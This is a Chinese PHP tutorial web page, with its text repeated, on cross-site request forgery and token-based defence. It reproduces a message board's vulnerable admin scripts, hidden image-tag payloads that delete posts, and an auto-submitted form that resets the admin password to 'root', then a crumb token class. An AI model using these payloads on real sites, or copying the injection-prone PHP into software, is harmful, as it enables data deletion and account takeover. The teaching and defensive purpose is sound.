php漏洞之跨網(wǎng)站請(qǐng)求偽造與防止偽造方法
更新時(shí)間：2013年08月15日 17:53:56 作者：
今天我來給大家介紹在php中跨網(wǎng)站請(qǐng)求偽造的實(shí)現(xiàn)方法與最后我們些常用的防止偽造的具體操作方法，有需要了解的朋友可進(jìn)入?yún)⒖?/div>
偽造跨站請(qǐng)求介紹
偽造跨站請(qǐng)求比較難以防范，而且危害巨大，攻擊者可以通過這種方式惡作劇，發(fā)spam信息，刪除數(shù)據(jù)等等。這種攻擊常見的表現(xiàn)形式有：
偽造鏈接，引誘用戶點(diǎn)擊，或是讓用戶在不知情的情況下訪問
偽造表單，引誘用戶提交。表單可以是隱藏的，用圖片或鏈接的形式偽裝。
比較常見而且也很廉價(jià)的防范手段是在所有可能涉及用戶寫操作的表單中加入一個(gè)隨機(jī)且變換頻繁的字符串，然后在處理表單的時(shí)候?qū)@個(gè)字符串進(jìn)行檢查。這個(gè)隨機(jī)字符串如果和當(dāng)前用戶身份相關(guān)聯(lián)的話，那么攻擊者偽造請(qǐng)求會(huì)比較麻煩。
如果攻擊者以隱藏的方式發(fā)送給目標(biāo)用戶鏈接
<img src="/buy.php?item=watch&num=1000"/>，那么如果目標(biāo)用戶不小心訪問以后，購買的數(shù)量就成了1000個(gè)
實(shí)例
隨緣網(wǎng)絡(luò)PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用于刪除留言
<?php
include_once("dlyz.php"); //dlyz.php用戶驗(yàn)證權(quán)限，當(dāng)權(quán)限是admin的時(shí)候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要?jiǎng)h除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('刪除成功！');";
echo " location='book.php';";
echo "</script>";
?>
當(dāng)我們具有admin權(quán)限，提交http://localhost/manage/delbook.php?id=2 時(shí)，就會(huì)刪除id為2的留言
利用方法:
我們使用普通用戶留言（源代碼方式），內(nèi)容為
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />
插入4張圖片鏈接分別刪除4個(gè)id留言，然后我們返回首頁瀏覽看，沒有什么變化。。圖片顯示不了
現(xiàn)在我們?cè)儆霉芾韱T賬號(hào)登陸后，來刷新首頁，會(huì)發(fā)現(xiàn)留言就剩一條，其他在圖片鏈接中指定的ID號(hào)的留言，全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接，此鏈接具有刪除留言的作用，而攻擊者自己訪問這些圖片鏈接的時(shí)候，是不具有權(quán)限的，所以看不到任何效果，但是當(dāng)管理員登陸后，查看此留言，就會(huì)執(zhí)行隱藏的鏈接，而他的權(quán)限又是足夠大的，從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>網(wǎng)站：<a href=http://chabaoo.cn>腳本之家</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('修改成功！');";
echo " location='pass.php';";
echo "</script>";
}
這個(gè)文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息，我們可以直接構(gòu)造如下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)" >
<textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)！</textarea>
<textarea name="copyright" rows="6" cols="80" >隨緣網(wǎng)絡(luò)PHP留言本V1.0 版權(quán)所有：廈門隨緣網(wǎng)絡(luò)科技 2005-2009<br/>承接網(wǎng)站建設(shè)及系統(tǒng)定制 提供優(yōu)惠主機(jī)域名</textarea>
</form>
</body>
存為attack.html，放到自己網(wǎng)站上http://chabaoo.cn此頁面訪問后會(huì)自動(dòng)向目標(biāo)程序的pass.php提交參數(shù)，用戶名修改為root，密碼修改為root，然后我們?nèi)チ粞园灏l(fā)一條留言，隱藏這個(gè)鏈接，管理訪問以后，他的用戶名和密碼全部修改成了root
防止偽造跨站請(qǐng)求
yahoo對(duì)付偽造跨站請(qǐng)求的辦法是在表單里加入一個(gè)叫.crumb的隨機(jī)串;而facebook也有類似的解決辦法，它的表單里常常會(huì)有post_form_id和fb_dtsg。
隨機(jī)串代碼實(shí)現(xiàn)
咱們按照這個(gè)思路，山寨一個(gè)crumb的實(shí)現(xiàn)，代碼如下：
<?php
class Crumb {
CONST SALT = "your-secret-salt";
static $ttl = 7200;
static public function challenge($data) {
return hash_hmac('md5', $data, self::SALT);
}
static public function issueCrumb($uid, $action = -1) {
$i = ceil(time() / self::$ttl);
return substr(self::challenge($i . $action . $uid), -12, 10);
}
static public function verifyCrumb($uid, $crumb, $action = -1) {
$i = ceil(time() / self::$ttl);
if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb ||
substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumb)
return true;
return false;
}
}
代碼中的$uid表示用戶唯一標(biāo)識(shí)，而$ttl表示這個(gè)隨機(jī)串的有效時(shí)間。
應(yīng)用示例
構(gòu)造表單
在表單中插入一個(gè)隱藏的隨機(jī)串crumb
<form method="post" action="demo.php">
<input type="hidden" name="crumb" value="<?php echo Crumb::issueCrumb($uid)?>">
<input type="text" name="content">
<input type="submit">
</form>
處理表單 demo.php
對(duì)crumb進(jìn)行檢查
<?php
if(Crumb::verifyCrumb($uid, $_POST['crumb'])) {
//按照正常流程處理表單
} else {
//crumb校驗(yàn)失敗，錯(cuò)誤提示流程
}
?>
偽造跨站請(qǐng)求比較難以防范，而且危害巨大，攻擊者可以通過這種方式惡作劇，發(fā)spam信息，刪除數(shù)據(jù)等等。這種攻擊常見的表現(xiàn)形式有：
偽造鏈接，引誘用戶點(diǎn)擊，或是讓用戶在不知情的情況下訪問
偽造表單，引誘用戶提交。表單可以是隱藏的，用圖片或鏈接的形式偽裝。
比較常見而且也很廉價(jià)的防范手段是在所有可能涉及用戶寫操作的表單中加入一個(gè)隨機(jī)且變換頻繁的字符串，然后在處理表單的時(shí)候?qū)@個(gè)字符串進(jìn)行檢查。這個(gè)隨機(jī)字符串如果和當(dāng)前用戶身份相關(guān)聯(lián)的話，那么攻擊者偽造請(qǐng)求會(huì)比較麻煩。
如果攻擊者以隱藏的方式發(fā)送給目標(biāo)用戶鏈接
<img src="/buy.php?item=watch&num=1000"/>，那么如果目標(biāo)用戶不小心訪問以后，購買的數(shù)量就成了1000個(gè)
實(shí)例
隨緣網(wǎng)絡(luò)PHP留言板V1.0
復(fù)制代碼 代碼如下:
任意刪除留言
//delbook.php 此頁面用于刪除留言
<?php
include_once("dlyz.php"); //dlyz.php用戶驗(yàn)證權(quán)限，當(dāng)權(quán)限是admin的時(shí)候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要?jiǎng)h除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('刪除成功！');";
echo " location='book.php';";
echo "</script>";
?>
當(dāng)我們具有admin權(quán)限，提交http://localhost/manage/delbook.php?id=2 時(shí)，就會(huì)刪除id為2的留言
利用方法:
我們使用普通用戶留言（源代碼方式），內(nèi)容為
復(fù)制代碼 代碼如下:
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />
插入4張圖片鏈接分別刪除4個(gè)id留言，然后我們返回首頁瀏覽看，沒有什么變化。。圖片顯示不了
現(xiàn)在我們?cè)儆霉芾韱T賬號(hào)登陸后，來刷新首頁，會(huì)發(fā)現(xiàn)留言就剩一條，其他在圖片鏈接中指定的ID號(hào)的留言，全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接，此鏈接具有刪除留言的作用，而攻擊者自己訪問這些圖片鏈接的時(shí)候，是不具有權(quán)限的，所以看不到任何效果，但是當(dāng)管理員登陸后，查看此留言，就會(huì)執(zhí)行隱藏的鏈接，而他的權(quán)限又是足夠大的，從而這些留言就被刪除了
修改管理員密碼
復(fù)制代碼 代碼如下:
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>網(wǎng)站：<a href=http://chabaoo.cn>腳本之家</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('修改成功！');";
echo " location='pass.php';";
echo "</script>";
}
這個(gè)文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息，我們可以直接構(gòu)造如下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)" >
<textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)！</textarea>
<textarea name="copyright" rows="6" cols="80" >隨緣網(wǎng)絡(luò)PHP留言本V1.0 版權(quán)所有：廈門隨緣網(wǎng)絡(luò)科技 2005-2009<br/>承接網(wǎng)站建設(shè)及系統(tǒng)定制 提供優(yōu)惠主機(jī)域名</textarea>
</form>
</body>
存為attack.html，放到自己網(wǎng)站上http://chabaoo.cn此頁面訪問后會(huì)自動(dòng)向目標(biāo)程序的pass.php提交參數(shù)，用戶名修改為root，密碼修改為root，然后我們?nèi)チ粞园灏l(fā)一條留言，隱藏這個(gè)鏈接，管理訪問以后，他的用戶名和密碼全部修改成了root
防止偽造跨站請(qǐng)求
yahoo對(duì)付偽造跨站請(qǐng)求的辦法是在表單里加入一個(gè)叫.crumb的隨機(jī)串;而facebook也有類似的解決辦法，它的表單里常常會(huì)有post_form_id和fb_dtsg。
隨機(jī)串代碼實(shí)現(xiàn)
咱們按照這個(gè)思路，山寨一個(gè)crumb的實(shí)現(xiàn)，代碼如下：
復(fù)制代碼 代碼如下:
<?php
class Crumb {
CONST SALT = "your-secret-salt";
static $ttl = 7200;
static public function challenge($data) {
return hash_hmac('md5', $data, self::SALT);
}
static public function issueCrumb($uid, $action = -1) {
$i = ceil(time() / self::$ttl);
return substr(self::challenge($i . $action . $uid), -12, 10);
}
static public function verifyCrumb($uid, $crumb, $action = -1) {
$i = ceil(time() / self::$ttl);
if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb ||
substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumb)
return true;
return false;
}
}
代碼中的$uid表示用戶唯一標(biāo)識(shí)，而$ttl表示這個(gè)隨機(jī)串的有效時(shí)間。
應(yīng)用示例
構(gòu)造表單
在表單中插入一個(gè)隱藏的隨機(jī)串crumb
復(fù)制代碼 代碼如下:
<form method="post" action="demo.php">
<input type="hidden" name="crumb" value="<?php echo Crumb::issueCrumb($uid)?>">
<input type="text" name="content">
<input type="submit">
</form>
處理表單 demo.php
對(duì)crumb進(jìn)行檢查
復(fù)制代碼 代碼如下:
<?php
if(Crumb::verifyCrumb($uid, $_POST['crumb'])) {
//按照正常流程處理表單
} else {
//crumb校驗(yàn)失敗，錯(cuò)誤提示流程
}
?>
相關(guān)文章
一文解決PHP中生成隨機(jī)數(shù)遇到的重復(fù)問題
項(xiàng)目開發(fā)中很多地方需要用到唯一編碼,比如說訂單、卡券、邀請(qǐng)碼等等,這些編號(hào)是需要嚴(yán)格保證唯一性的,因?yàn)槿绻到y(tǒng)中訂單的編號(hào)存在倆一模一樣的,那造成很多數(shù)據(jù)的錯(cuò)亂,所以本文給大家介紹了如何解決PHP中生成隨機(jī)數(shù)遇到的重復(fù)問,需要的朋友可以參考下2023-12-12
WordPress中獲取頁面鏈接和標(biāo)題的相關(guān)PHP函數(shù)用法解析
這篇文章主要介紹了WordPress中獲取頁面鏈接和標(biāo)題的相關(guān)PHP函數(shù)用法解析,分別為get_permalink()和wp_title()函數(shù)的使用,需要的朋友可以參考下2015-12-12
PHP新手NOTICE錯(cuò)誤，特此寫給那些遇到和我一樣錯(cuò)誤的朋友。2011-12-12
平時(shí)我們?nèi)绻胗胏md訪問mysql數(shù)據(jù)庫，需要先一步步進(jìn)入到mysql的目錄下，才能執(zhí)行MYSQL命令，進(jìn)行操作，下面介紹一種直接在cmd中執(zhí)行mysql命令的方法，大贊！2014-05-05
PHP數(shù)組基本用法與知識(shí)點(diǎn)總結(jié)
這篇文章主要介紹了PHP數(shù)組基本用法與知識(shí)點(diǎn),總結(jié)整理了PHP數(shù)組基本概念、用法、定義、訪問、刪除等相關(guān)操作技巧,需要的朋友可以參考下2020-06-06
這篇文章主要介紹了PHP生成可點(diǎn)擊刷新的驗(yàn)證碼,結(jié)合簡單實(shí)例形式分析了php驗(yàn)證碼的實(shí)現(xiàn)與調(diào)用顯示方法,涉及js動(dòng)態(tài)調(diào)用驗(yàn)證碼php文件的相關(guān)技巧,需要的朋友可以參考下2016-05-05
js限制checkbox勾選的個(gè)數(shù)以及php獲取多個(gè)checkbbox的方法深入解析
以下是對(duì)js限制checkbox勾選的個(gè)數(shù)以及php獲取多個(gè)checkbbox的方法進(jìn)行了詳細(xì)的分析介紹，需要的朋友可以參考下2013-07-07
詳解PHP實(shí)現(xiàn)異步調(diào)用的4種方法
這篇文章主要為大家詳細(xì)介紹PHP實(shí)現(xiàn)異步調(diào)用的4種方法，感興趣的小伙伴們可以參考一下2016-03-03
ob_flush/flush在手冊(cè)中的描述, 都是刷新輸出緩沖區(qū), 并且還需要配套使用, 所以會(huì)導(dǎo)致很多人迷惑2012-02-02
本文主要介紹了php的基礎(chǔ)函數(shù)。具有很好的參考價(jià)值，下面跟著小編一起來看下吧2017-02-02